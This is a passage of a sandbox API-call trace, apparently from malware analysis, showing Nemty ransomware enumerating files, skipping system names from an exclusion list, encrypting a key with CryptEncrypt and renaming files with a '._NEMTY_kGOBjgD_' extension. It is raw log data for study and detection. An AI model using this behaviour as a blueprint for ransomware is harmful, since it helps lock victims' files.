hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.773] CloseHandle (hObject=0xffffffff) returned 0 [0157.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\5.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\5.png._nemty_kgobjgd_")) returned 0 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.773] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="6.png", cAlternateFileName="")) returned 1 [0157.773] lstrcmpiW (lpString1="6.png", lpString2=".") returned 1 [0157.773] lstrcmpiW (lpString1="6.png", lpString2="..") returned 1 [0157.773] lstrcmpiW (lpString1="6.png", lpString2="...") returned 1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="windows") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="$RECYCLE.BIN") returned 1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="rsa") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="NTDETECT.COM") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="ntldr") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="MSDOS.SYS") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="IO.SYS") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="boot.ini") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="boot.ini") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="ntuser.dat") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="desktop.ini") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="CONFIG.SYS") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="RECYCLER") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="BOOTSECT.BAK") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="bootmgr") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="programdata") returned -1 [0157.774] lstrcmpiW (lpString1="6.png", lpString2="appdata") returned -1 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0157.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.774] Sleep (dwMilliseconds=0x5) [0157.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11b05770, dwHighDateTime=0x1d561e8)) [0157.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11b05770, dwHighDateTime=0x1d561e8)) [0157.776] GetLastError () returned 0x5 [0157.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.776] GetLastError () returned 0x5 [0157.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.776] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.776] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.776] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.777] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="25ziPcvzh8/9/LdcBEzxaNSEqFhZgkoyxsgh/+1p+fm34EXiE1+HolRVfKET2Pdl\r\nssKhdsQQwlOHw7pdTmq3je/xo27HplUPahHpSIgDKYjwVVQqe5Qbl5an+zEilIkK\r\ngaowMwEFn77RPRd5Cx6oq7jWqYDMNs5vtUol6E3tGifrSqUoPsg9liNj4XUssnHM\r\n/Qwvx+OqrKDj5WU0uBQ8V9zW0JltgkWHxcdvNv1b1wTcOEn4VAswb4SimF5pNN+c\r\nw1L85d1aixuYVGmKrAmtckXrCjBxt1nfgJ1NaPu3wiw7lhBGe5exyrWgp6j9DUVV\r\nzm1UnpeJOKkCKvI/bR1RLQ==\r\n", pcchString=0x653e91c) returned 1 [0157.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.777] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.777] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.883] CloseHandle (hObject=0xffffffff) returned 0 [0157.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: 